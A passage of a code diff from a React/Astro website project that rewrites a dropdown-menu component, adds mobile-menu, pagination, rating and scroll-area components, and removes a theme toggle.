|
|
||||||
<DropdownMenuPrimitive.CheckboxItem
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
checked={checked}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
|
||||||
<DropdownMenuPrimitive.ItemIndicator>
|
|
||||||
<Check className="h-4 w-4" />
|
|
||||||
</DropdownMenuPrimitive.ItemIndicator>
|
|
||||||
</span>
|
|
||||||
{children}
|
|
||||||
</DropdownMenuPrimitive.CheckboxItem>
|
|
||||||
))
|
|
||||||
DropdownMenuCheckboxItem.displayName =
|
|
||||||
DropdownMenuPrimitive.CheckboxItem.displayName
|
|
||||||
|
|
||||||
const DropdownMenuRadioItem = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>
|
|
||||||
>(({ className, children, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.RadioItem
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
|
||||||
<DropdownMenuPrimitive.ItemIndicator>
|
|
||||||
<Circle className="h-2 w-2 fill-current" />
|
|
||||||
</DropdownMenuPrimitive.ItemIndicator>
|
|
||||||
</span>
|
|
||||||
{children}
|
|
||||||
</DropdownMenuPrimitive.RadioItem>
|
|
||||||
))
|
|
||||||
DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName
|
|
||||||
|
|
||||||
const DropdownMenuLabel = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.Label>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {
|
|
||||||
inset?: boolean
|
|
||||||
}
|
|
||||||
>(({ className, inset, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.Label
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"px-2 py-1.5 text-sm font-semibold",
|
|
||||||
inset && "pl-8",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
))
|
|
||||||
DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName
|
|
||||||
|
|
||||||
const DropdownMenuSeparator = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
|
|
||||||
>(({ className, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.Separator
|
|
||||||
ref={ref}
|
|
||||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
))
|
|
||||||
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName
|
|
||||||
|
|
||||||
const DropdownMenuShortcut = ({
|
|
||||||
className,
|
|
||||||
...props
|
...props
|
||||||
}: React.HTMLAttributes<HTMLSpanElement>) => {
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
|
||||||
|
return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuPortal({
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
|
||||||
return (
|
return (
|
||||||
<span
|
<DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />
|
||||||
className={cn("ml-auto text-xs tracking-widest opacity-60", className)}
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuTrigger({
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Trigger
|
||||||
|
data-slot="dropdown-menu-trigger"
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuContent({
|
||||||
|
className,
|
||||||
|
sideOffset = 4,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Portal>
|
||||||
|
<DropdownMenuPrimitive.Content
|
||||||
|
data-slot="dropdown-menu-content"
|
||||||
|
sideOffset={sideOffset}
|
||||||
|
className={cn(
|
||||||
|
'bg-popover text-popover-foreground z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
</DropdownMenuPrimitive.Portal>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuGroup({
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuItem({
|
||||||
|
className,
|
||||||
|
inset,
|
||||||
|
variant = 'default',
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
|
||||||
|
inset?: boolean
|
||||||
|
variant?: 'default' | 'destructive'
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Item
|
||||||
|
data-slot="dropdown-menu-item"
|
||||||
|
data-inset={inset}
|
||||||
|
data-variant={variant}
|
||||||
|
className={cn(
|
||||||
|
"focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuCheckboxItem({
|
||||||
|
className,
|
||||||
|
children,
|
||||||
|
checked,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.CheckboxItem
|
||||||
|
data-slot="dropdown-menu-checkbox-item"
|
||||||
|
className={cn(
|
||||||
|
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
checked={checked}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
|
||||||
|
<DropdownMenuPrimitive.ItemIndicator>
|
||||||
|
<CheckIcon className="size-4" />
|
||||||
|
</DropdownMenuPrimitive.ItemIndicator>
|
||||||
|
</span>
|
||||||
|
{children}
|
||||||
|
</DropdownMenuPrimitive.CheckboxItem>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuRadioGroup({
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.RadioGroup
|
||||||
|
data-slot="dropdown-menu-radio-group"
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuRadioItem({
|
||||||
|
className,
|
||||||
|
children,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.RadioItem
|
||||||
|
data-slot="dropdown-menu-radio-item"
|
||||||
|
className={cn(
|
||||||
|
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
|
||||||
|
<DropdownMenuPrimitive.ItemIndicator>
|
||||||
|
<CircleIcon className="size-2 fill-current" />
|
||||||
|
</DropdownMenuPrimitive.ItemIndicator>
|
||||||
|
</span>
|
||||||
|
{children}
|
||||||
|
</DropdownMenuPrimitive.RadioItem>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuLabel({
|
||||||
|
className,
|
||||||
|
inset,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
|
||||||
|
inset?: boolean
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Label
|
||||||
|
data-slot="dropdown-menu-label"
|
||||||
|
data-inset={inset}
|
||||||
|
className={cn(
|
||||||
|
'px-2 py-1.5 text-sm font-medium data-[inset]:pl-8',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuSeparator({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.Separator
|
||||||
|
data-slot="dropdown-menu-separator"
|
||||||
|
className={cn('bg-border -mx-1 my-1 h-px', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuShortcut({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'span'>) {
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
data-slot="dropdown-menu-shortcut"
|
||||||
|
className={cn(
|
||||||
|
'text-muted-foreground ml-auto text-xs tracking-widest',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuSub({
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
|
||||||
|
return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuSubTrigger({
|
||||||
|
className,
|
||||||
|
inset,
|
||||||
|
children,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
|
||||||
|
inset?: boolean
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.SubTrigger
|
||||||
|
data-slot="dropdown-menu-sub-trigger"
|
||||||
|
data-inset={inset}
|
||||||
|
className={cn(
|
||||||
|
'focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
{children}
|
||||||
|
<ChevronRightIcon className="ml-auto size-4" />
|
||||||
|
</DropdownMenuPrimitive.SubTrigger>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function DropdownMenuSubContent({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
|
||||||
|
return (
|
||||||
|
<DropdownMenuPrimitive.SubContent
|
||||||
|
data-slot="dropdown-menu-sub-content"
|
||||||
|
className={cn(
|
||||||
|
'bg-popover text-popover-foreground z-50 min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
DropdownMenuShortcut.displayName = "DropdownMenuShortcut"
|
|
||||||
|
|
||||||
export {
|
export {
|
||||||
DropdownMenu,
|
DropdownMenu,
|
||||||
|
DropdownMenuPortal,
|
||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
DropdownMenuContent,
|
DropdownMenuContent,
|
||||||
|
DropdownMenuGroup,
|
||||||
|
DropdownMenuLabel,
|
||||||
DropdownMenuItem,
|
DropdownMenuItem,
|
||||||
DropdownMenuCheckboxItem,
|
DropdownMenuCheckboxItem,
|
||||||
|
DropdownMenuRadioGroup,
|
||||||
DropdownMenuRadioItem,
|
DropdownMenuRadioItem,
|
||||||
DropdownMenuLabel,
|
|
||||||
DropdownMenuSeparator,
|
DropdownMenuSeparator,
|
||||||
DropdownMenuShortcut,
|
DropdownMenuShortcut,
|
||||||
DropdownMenuGroup,
|
|
||||||
DropdownMenuPortal,
|
|
||||||
DropdownMenuSub,
|
DropdownMenuSub,
|
||||||
DropdownMenuSubContent,
|
|
||||||
DropdownMenuSubTrigger,
|
DropdownMenuSubTrigger,
|
||||||
DropdownMenuRadioGroup,
|
DropdownMenuSubContent,
|
||||||
}
|
}
|
||||||
|
|||||||
65
src/components/ui/mobile-menu.tsx
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import { useState, useEffect } from 'react'
|
||||||
|
import { Button } from '@/components/ui/button'
|
||||||
|
import {
|
||||||
|
DropdownMenu,
|
||||||
|
DropdownMenuContent,
|
||||||
|
DropdownMenuItem,
|
||||||
|
DropdownMenuTrigger,
|
||||||
|
} from '@/components/ui/dropdown-menu'
|
||||||
|
import { NAV_LINKS } from '@/consts'
|
||||||
|
import { Menu } from 'lucide-react'
|
||||||
|
|
||||||
|
const MobileMenu = () => {
|
||||||
|
const [isOpen, setIsOpen] = useState(false)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const handleViewTransitionStart = () => {
|
||||||
|
setIsOpen(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('astro:before-swap', handleViewTransitionStart)
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
document.removeEventListener(
|
||||||
|
'astro:before-swap',
|
||||||
|
handleViewTransitionStart,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<DropdownMenu open={isOpen} onOpenChange={(val) => setIsOpen(val)}>
|
||||||
|
<DropdownMenuTrigger
|
||||||
|
asChild
|
||||||
|
onClick={() => {
|
||||||
|
setIsOpen((val) => !val)
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="size-8 sm:hidden"
|
||||||
|
title="Menu"
|
||||||
|
>
|
||||||
|
<Menu className="size-5" />
|
||||||
|
<span className="sr-only">Toggle menu</span>
|
||||||
|
</Button>
|
||||||
|
</DropdownMenuTrigger>
|
||||||
|
<DropdownMenuContent align="end" className="bg-background">
|
||||||
|
{NAV_LINKS.map((item) => (
|
||||||
|
<DropdownMenuItem key={item.href} asChild>
|
||||||
|
<a
|
||||||
|
href={item.href}
|
||||||
|
className="w-full text-lg font-medium capitalize"
|
||||||
|
onClick={() => setIsOpen(false)}
|
||||||
|
>
|
||||||
|
{item.label}
|
||||||
|
</a>
|
||||||
|
</DropdownMenuItem>
|
||||||
|
))}
|
||||||
|
</DropdownMenuContent>
|
||||||
|
</DropdownMenu>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export default MobileMenu
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
import * as React from "react"
|
|
||||||
import { Moon, Sun } from "lucide-react"
|
|
||||||
|
|
||||||
import { Button } from "@/components/ui/button"
|
|
||||||
import {
|
|
||||||
DropdownMenu,
|
|
||||||
DropdownMenuContent,
|
|
||||||
DropdownMenuItem,
|
|
||||||
DropdownMenuTrigger,
|
|
||||||
} from "@/components/ui/dropdown-menu"
|
|
||||||
|
|
||||||
export function ModeToggle() {
|
|
||||||
const [theme, setThemeState] = React.useState<
|
|
||||||
"theme-light" | "dark" | "system"
|
|
||||||
>("theme-light")
|
|
||||||
|
|
||||||
React.useEffect(() => {
|
|
||||||
const isDarkMode = document.documentElement.classList.contains("dark")
|
|
||||||
setThemeState(isDarkMode ? "dark" : "theme-light")
|
|
||||||
}, [])
|
|
||||||
|
|
||||||
React.useEffect(() => {
|
|
||||||
const isDark =
|
|
||||||
theme === "dark" ||
|
|
||||||
(theme === "system" &&
|
|
||||||
window.matchMedia("(prefers-color-scheme: dark)").matches)
|
|
||||||
document.documentElement.classList[isDark ? "add" : "remove"]("dark")
|
|
||||||
}, [theme])
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DropdownMenu>
|
|
||||||
<DropdownMenuTrigger asChild>
|
|
||||||
<Button variant="outline" size="icon">
|
|
||||||
<Sun className="h-[1.2rem] w-[1.2rem] rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" />
|
|
||||||
<Moon className="absolute h-[1.2rem] w-[1.2rem] rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" />
|
|
||||||
<span className="sr-only">Toggle theme</span>
|
|
||||||
</Button>
|
|
||||||
</DropdownMenuTrigger>
|
|
||||||
<DropdownMenuContent align="end">
|
|
||||||
<DropdownMenuItem onClick={() => setThemeState("theme-light")}>
|
|
||||||
Light
|
|
||||||
</DropdownMenuItem>
|
|
||||||
<DropdownMenuItem onClick={() => setThemeState("dark")}>
|
|
||||||
Dark
|
|
||||||
</DropdownMenuItem>
|
|
||||||
<DropdownMenuItem onClick={() => setThemeState("system")}>
|
|
||||||
System
|
|
||||||
</DropdownMenuItem>
|
|
||||||
</DropdownMenuContent>
|
|
||||||
</DropdownMenu>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
195
src/components/ui/pagination.tsx
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import {
|
||||||
|
ChevronLeftIcon,
|
||||||
|
ChevronRightIcon,
|
||||||
|
MoreHorizontalIcon,
|
||||||
|
} from 'lucide-react'
|
||||||
|
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
import { Button, buttonVariants } from '@/components/ui/button'
|
||||||
|
|
||||||
|
function Pagination({ className, ...props }: React.ComponentProps<'nav'>) {
|
||||||
|
return (
|
||||||
|
<nav
|
||||||
|
role="navigation"
|
||||||
|
aria-label="pagination"
|
||||||
|
data-slot="pagination"
|
||||||
|
className={cn('mx-auto flex w-full justify-center', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function PaginationContent({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'ul'>) {
|
||||||
|
return (
|
||||||
|
<ul
|
||||||
|
data-slot="pagination-content"
|
||||||
|
className={cn('flex flex-row items-center gap-1', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function PaginationItem({ ...props }: React.ComponentProps<'li'>) {
|
||||||
|
return <li data-slot="pagination-item" {...props} />
|
||||||
|
}
|
||||||
|
|
||||||
|
type PaginationLinkProps = {
|
||||||
|
isActive?: boolean
|
||||||
|
isDisabled?: boolean
|
||||||
|
} & Pick<React.ComponentProps<typeof Button>, 'size'> &
|
||||||
|
React.ComponentProps<'a'>
|
||||||
|
|
||||||
|
function PaginationLink({
|
||||||
|
className,
|
||||||
|
isActive,
|
||||||
|
isDisabled,
|
||||||
|
size = 'icon',
|
||||||
|
...props
|
||||||
|
}: PaginationLinkProps) {
|
||||||
|
return (
|
||||||
|
<a
|
||||||
|
aria-current={isActive ? 'page' : undefined}
|
||||||
|
data-slot="pagination-link"
|
||||||
|
data-active={isActive}
|
||||||
|
data-disabled={isDisabled}
|
||||||
|
className={cn(
|
||||||
|
buttonVariants({
|
||||||
|
variant: isActive ? 'outline' : 'ghost',
|
||||||
|
size,
|
||||||
|
}),
|
||||||
|
isDisabled && 'pointer-events-none opacity-50',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function PaginationPrevious({
|
||||||
|
className,
|
||||||
|
isDisabled,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof PaginationLink>) {
|
||||||
|
return (
|
||||||
|
<PaginationLink
|
||||||
|
aria-label="Go to previous page"
|
||||||
|
size="default"
|
||||||
|
className={cn('gap-1 px-2.5 sm:pl-2.5', className)}
|
||||||
|
isDisabled={isDisabled}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<ChevronLeftIcon />
|
||||||
|
<span className="hidden sm:block">Previous</span>
|
||||||
|
</PaginationLink>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function PaginationNext({
|
||||||
|
className,
|
||||||
|
isDisabled,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof PaginationLink>) {
|
||||||
|
return (
|
||||||
|
<PaginationLink
|
||||||
|
aria-label="Go to next page"
|
||||||
|
size="default"
|
||||||
|
className={cn('gap-1 px-2.5 sm:pr-2.5', className)}
|
||||||
|
isDisabled={isDisabled}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<span className="hidden sm:block">Next</span>
|
||||||
|
<ChevronRightIcon />
|
||||||
|
</PaginationLink>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function PaginationEllipsis({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'span'>) {
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
aria-hidden
|
||||||
|
data-slot="pagination-ellipsis"
|
||||||
|
className={cn('flex size-9 items-center justify-center', className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<MoreHorizontalIcon className="size-4" />
|
||||||
|
<span className="sr-only">More pages</span>
|
||||||
|
</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
const PaginationComponent: React.FC<PaginationProps> = ({
|
||||||
|
currentPage,
|
||||||
|
totalPages,
|
||||||
|
baseUrl,
|
||||||
|
}) => {
|
||||||
|
const pages = Array.from({ length: totalPages }, (_, i) => i + 1)
|
||||||
|
|
||||||
|
const getPageUrl = (page: number) => {
|
||||||
|
if (page === 1) return baseUrl
|
||||||
|
return `${baseUrl}${page}`
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Pagination>
|
||||||
|
<PaginationContent className="flex-wrap">
|
||||||
|
<PaginationItem>
|
||||||
|
<PaginationPrevious
|
||||||
|
href={currentPage > 1 ? getPageUrl(currentPage - 1) : undefined}
|
||||||
|
isDisabled={currentPage === 1}
|
||||||
|
/>
|
||||||
|
</PaginationItem>
|
||||||
|
|
||||||
|
{pages.map((page) => (
|
||||||
|
<PaginationItem key={page}>
|
||||||
|
<PaginationLink
|
||||||
|
href={getPageUrl(page)}
|
||||||
|
isActive={page === currentPage}
|
||||||
|
>
|
||||||
|
{page}
|
||||||
|
</PaginationLink>
|
||||||
|
</PaginationItem>
|
||||||
|
))}
|
||||||
|
|
||||||
|
{totalPages > 5 && (
|
||||||
|
<PaginationItem>
|
||||||
|
<PaginationEllipsis />
|
||||||
|
</PaginationItem>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<PaginationItem>
|
||||||
|
<PaginationNext
|
||||||
|
href={
|
||||||
|
currentPage < totalPages ? getPageUrl(currentPage + 1) : undefined
|
||||||
|
}
|
||||||
|
isDisabled={currentPage === totalPages}
|
||||||
|
/>
|
||||||
|
</PaginationItem>
|
||||||
|
</PaginationContent>
|
||||||
|
</Pagination>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
interface PaginationProps {
|
||||||
|
currentPage: number
|
||||||
|
totalPages: number
|
||||||
|
baseUrl: string
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PaginationComponent
|
||||||
|
|
||||||
|
export {
|
||||||
|
Pagination,
|
||||||
|
PaginationContent,
|
||||||
|
PaginationLink,
|
||||||
|
PaginationItem,
|
||||||
|
PaginationPrevious,
|
||||||
|
PaginationNext,
|
||||||
|
PaginationEllipsis,
|
||||||
|
}
|
||||||
109
src/components/ui/rating.tsx
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
// @ts-nocheck
|
||||||
|
|
||||||
|
import React from "react"
|
||||||
|
import { Star } from "lucide-react"
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils"
|
||||||
|
|
||||||
|
const ratingVariants = {
|
||||||
|
default: {
|
||||||
|
star: "text-primary",
|
||||||
|
emptyStar: "text-muted-foreground",
|
||||||
|
},
|
||||||
|
destructive: {
|
||||||
|
star: "text-red-500",
|
||||||
|
emptyStar: "text-red-200",
|
||||||
|
},
|
||||||
|
yellow: {
|
||||||
|
star: "text-yellow-500",
|
||||||
|
emptyStar: "text-yellow-200",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
interface RatingsProps extends React.HTMLAttributes<HTMLDivElement> {
|
||||||
|
rating: number
|
||||||
|
totalStars?: number
|
||||||
|
size?: number
|
||||||
|
fill?: boolean
|
||||||
|
Icon?: React.ReactElement
|
||||||
|
variant?: keyof typeof ratingVariants
|
||||||
|
}
|
||||||
|
|
||||||
|
const Ratings = ({ ...props }: RatingsProps) => {
|
||||||
|
const {
|
||||||
|
rating,
|
||||||
|
totalStars = 5,
|
||||||
|
size = 20,
|
||||||
|
fill = true,
|
||||||
|
Icon = <Star />,
|
||||||
|
variant = "default",
|
||||||
|
} = props
|
||||||
|
|
||||||
|
const fullStars = Math.floor(rating)
|
||||||
|
const partialStar =
|
||||||
|
rating % 1 > 0 ? (
|
||||||
|
<PartialStar
|
||||||
|
fillPercentage={rating % 1}
|
||||||
|
size={size}
|
||||||
|
className={cn(ratingVariants[variant].star)}
|
||||||
|
Icon={Icon}
|
||||||
|
/>
|
||||||
|
) : null
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={cn("flex items-center gap-2")} {...props}>
|
||||||
|
{[...Array(fullStars)].map((_, i) =>
|
||||||
|
React.cloneElement(Icon, {
|
||||||
|
key: i,
|
||||||
|
size,
|
||||||
|
className: cn(
|
||||||
|
fill ? "fill-current" : "fill-transparent",
|
||||||
|
ratingVariants[variant].star
|
||||||
|
),
|
||||||
|
})
|
||||||
|
)}
|
||||||
|
{partialStar}
|
||||||
|
{[...Array(totalStars - fullStars - (partialStar ? 1 : 0))].map((_, i) =>
|
||||||
|
React.cloneElement(Icon, {
|
||||||
|
key: i + fullStars + 1,
|
||||||
|
size,
|
||||||
|
className: cn(ratingVariants[variant].emptyStar),
|
||||||
|
})
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
interface PartialStarProps {
|
||||||
|
fillPercentage: number
|
||||||
|
size: number
|
||||||
|
className?: string
|
||||||
|
Icon: React.ReactElement
|
||||||
|
}
|
||||||
|
const PartialStar = ({ ...props }: PartialStarProps) => {
|
||||||
|
const { fillPercentage, size, className, Icon } = props
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div style={{ position: "relative", display: "inline-block" }}>
|
||||||
|
{React.cloneElement(Icon, {
|
||||||
|
size,
|
||||||
|
className: cn("fill-transparent", className),
|
||||||
|
})}
|
||||||
|
<div
|
||||||
|
style={{
|
||||||
|
position: "absolute",
|
||||||
|
top: 0,
|
||||||
|
overflow: "hidden",
|
||||||
|
width: `${fillPercentage * 100}%`,
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{React.cloneElement(Icon, {
|
||||||
|
size,
|
||||||
|
className: cn("fill-current", className),
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Ratings }
|
||||||
56
src/components/ui/scroll-area.tsx
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import { ScrollArea as ScrollAreaPrimitive } from 'radix-ui'
|
||||||
|
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
|
function ScrollArea({
|
||||||
|
className,
|
||||||
|
children,
|
||||||
|
...props
|
||||||
